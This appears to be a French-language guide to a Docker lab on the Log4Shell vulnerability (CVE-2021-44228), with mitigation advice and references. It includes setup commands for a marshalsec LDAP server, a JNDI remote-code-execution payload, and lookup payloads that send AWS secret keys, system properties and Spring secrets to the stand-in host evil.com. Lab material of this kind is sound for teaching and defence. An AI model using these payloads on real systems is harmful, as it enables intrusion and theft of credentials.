
Log4Shell (CVE-2021-44228) laboratoire docker
Ce laboratoire Docker utilise trois composants, à savoir :
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
Remarque importante : Si vous utilisez Windows PowerShell, remplacez $(pwd) par ${pwd}.
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
Ouvrez l'application vulnérable, saisissez de faux identifiants de test et ouvrez les logs du conteneur log4shell-vulnapp. On peut constater que l'application enregistre les tentatives de connexion infructueuses (par exemple, Incorrect login attempt for username 'test'). Cette petite expérience établit que nous avons le contrôle sur une partie de la chaîne enregistrée (c'est-à-dire le nom d'utilisateur).
Nous pouvons passer une charge utile comme celle-ci pour exécuter du code à distance :
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
L'exécution de code à distance peut être réalisée dans n'importe quelle version de Java ; cependant, les machines avec des versions de Java antérieures à la liste suivante [1] :
Cela est dû au fait que les versions ultérieures définissent la propriété système JVM com.sun.jndi.ldap.object.trustURLCodebase sur false par défaut, ce qui désactive le chargement JNDI de classes à partir de bases de code URL arbitraires. Cependant, se fier uniquement à une nouvelle version de Java comme protection contre cette vulnérabilité est risqué, car la vulnérabilité peut encore être exploitée sur des machines contenant certaines classes "gadget" dans le classpath de l'application vulnérable et des requêtes DNS peuvent être utilisées pour obtenir des informations telles que les variables d'environnement.
Il existe plusieurs substitutions de recherche qui révèlent des informations sensibles de la machine victime. Plus particulièrement, en utilisant une charge utile similaire à [2, 3] :
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
Note : La chaîne d'attaque Spring lookup nécessite que log4j-spring-cloud-config-client soit inclus dans l'application. [2]
La meilleure façon d'atténuer cette grave vulnérabilité est de mettre à niveau log4j2 vers une version >= 2.17.0. Cependant, il est possible d'atténuer complètement le problème sans mise à niveau en utilisant deux méthodes différentes. Il est fortement recommandé aux fournisseurs qui ne peuvent pas mettre à niveau vers une version plus récente de Log4j2 d'utiliser les deux méthodes d'atténuation spécifiées ci-dessous [1].
La désactivation des recherches peut être effectuée (globalement) en définissant la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS sur true en éditant le fichier /etc/environment et en ajoutant : LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
Alternativement, les recherches peuvent être désactivées pour une invocation spécifique de la JVM en ajoutant le drapeau de ligne de commande suivant lors de l'exécution de l'application Java vulnérable : ‐Dlog4j2.formatMsgNoLookups=True [1]
Lors de l'utilisation d'une version de log4j antérieure à 2.10.0, il est possible de supprimer la classe JndiLookup de toute application Java.
[1] Menashe, S., (2021). Tout savoir sur la vulnérabilité 0-day Log4Shell - CVE-2021-44228. [en ligne] JFrog. Disponible sur : https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Consulté le 24 décembre 2021].
[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [en ligne] logging.apache.org. Disponible sur : https://logging.apache.org/log4j/2.x/manual/lookups.html [Consulté le 24 décembre 2021].
[3] Oracle. (2021). Propriétés système. [en ligne] Disponible sur : https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Consulté le 24 décembre 2021].